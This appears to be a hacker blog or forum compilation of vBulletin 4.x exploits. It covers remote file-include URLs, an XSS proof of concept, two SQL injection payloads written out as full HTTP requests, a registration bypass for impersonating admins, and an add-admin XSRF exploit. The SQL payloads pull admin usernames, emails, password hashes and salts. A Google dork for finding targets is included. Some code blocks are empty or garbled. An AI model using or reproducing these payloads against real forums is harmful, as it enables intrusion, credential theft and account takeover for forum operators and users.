vBulletin Multiple Remote File Include Vulnerabilities
vBulletin is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker can exploit these vulnerabilities to obtain potentially sensitive information or to execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
vBulletin 4.1.7 is vulnerable; other versions may also be affected.
[cc lang="html"]http://www.example.com/vB1/api.php?api_script=[RFI]
http://www.example.com/vB1/payment_gateway.php?api[classname]=[RFI]
http://www.example.com/vB1/admincp/cronadmin.php?nextitem[filename]=[RFI]
http://www.example.com/vB1/admincp/diagnostic.php?match[0]=[RFI]
http://www.example.com/vB1/admincp/diagnostic.php?api[classname]=[RFI]
http://www.example.com/vB1/admincp/plugin.php?safeid=[RFI]
http://www.example.com/vB1/includes/class_block.php?file=[RFI]
http://www.example.com/vB1/includes/class_humanverify.php?chosenlib=[RFI]
http://www.example.com/vB1/includes/class_paid_subscription.php?methodinfo[classname]=[RFI]
http://www.example.com/vB1/includes/functions.php?classfile=[RFI]
http://www.example.com/vB1/includes/functions_cron.php?nextitem[filename]=[RFI]
http://www.example.com/vB1/vb/vb.php?filename=[RFI]
http://www.example.com/vB1/install/includes/class_upgrade.php?chosenlib=[RFI]
http://www.example.com/vB1/packages/vbattach/attach.php?package=[RFI]
http://www.example.com/vB1/packages/vbattach/attach.php?path=[RFI] [/cc]
vBulletin Cross Site Scripting Vulnerability
Vulnerable versions: 4.1.3pl3, 4.1.4pl3 & 4.1.5pl1
PoC:
[cc lang="html"]http://www.example.com/forums/admincp/?";>[/cc]
Happy educational purpose testing!
vBulletin “Search UI” SQL Injection 0-day – part II
vBulletin "Search UI" SQL Injection
PoC:
[cc lang="html"]POST /search.php?do=process HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
humanverify[]=&searchfromtype=vBForum%3ASocialGroupMessage&do=process&contenttypeid=5&categoryid[]=-99) union select password from user where userid=1 and row(1,1)>(select count(*),concat( (select user.password) ,0x3a,floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- /* [/cc]
will retrun:
[cc lang="html"] [/cc]
Vbulletin 4.0.x -> 4.1.3 SQL injection Vulnerability 0-day
So... after the patching done 2 months ago by vBulletin team here it is:
Vulnerability:
Vbulletin 4.x.x => 4.1.3 suffers from an SQL injection Vulnerability in parameter "&messagegroupid" due to improper input validation.
Exploitation:
Post data on: -->search.php?search_type=1
--> Search Single Content Type
Keywords : Valid Group Message
Search Type : Group Messages
Search in Group : Valid Group Id
[cc lang="html"]&messagegroupid[0]=3 ) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt ) FROM user WHERE userid=1#[/cc]
Exact request:
Exact Request as follows:
Code:
[cc lang="html"]query=Cross+Domain+Content+Extraction+attacks&titleonly=0&searchuser=&starteronly=0&searchdate=0&beforeafter=after&sortby=dateline&order=descending&showposts=1&saveprefs=1&dosearch=Search+Now&s=&securitytoken=1311201469-a9ee9dd6adccba0f8758fce3f02b7e0a267eea75&searchfromtype=vBForum%3ASocialGroupMessage&do=process&contenttypeid=5&messagegroupid[0]=3 ) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE userid=1#[/cc]
Google dork: intitle: powered by Vbulletin 4
Author: FB1H2S
Found his blog. Awesome posts.
vBulletin – Registration Bypass Vulnerability
1. Check the names of the admins/moderators on the forums
2. Go to Http://[localhost]/path/register.php
3. [cc lang="html"]Type this at User Name ===> ADMIN_username[/cc]
4. [cc lang="html"] is an ASCII Code[/cc]
5. complete the other parameters
6. Then click on Complete Registration
7. Now you see that your user name like admin user name
8. PM the moderators to elevate your account or promote another user. (or other nutty things)
(this is old but its still working)
Author: Immortal Boy
Iranian Datacoders Security Team
vbulletin 4.X.X Add Admin XSRF Exploit
#Title : vb 4.X.X Add Admin XSRF Exploit
#Author : Mon7rF
#Mail : x0h@msn.com
#Date : 2011 - 6 - 29
---------------------------------------------[Exploit]-----------------------------------------------
---------------------------------------------[The End]-----------------------------------------------
Important Notices :
Modify the code adminhash
How?
1- Go to http://localhost/vb/admincp
2- View Page Source
3- Search for var ADMINHASH Then Copy --- http://store3.up-00.com/May11/6q673901.png
4- Paste instead hash is here ! --- --- http://store3.up-00.com/May11/8AO73901.png
Greets : RENO - ArHabY-HacKeR - FoX HaCkEr - Hamoud-Oz - All p0c.cc members
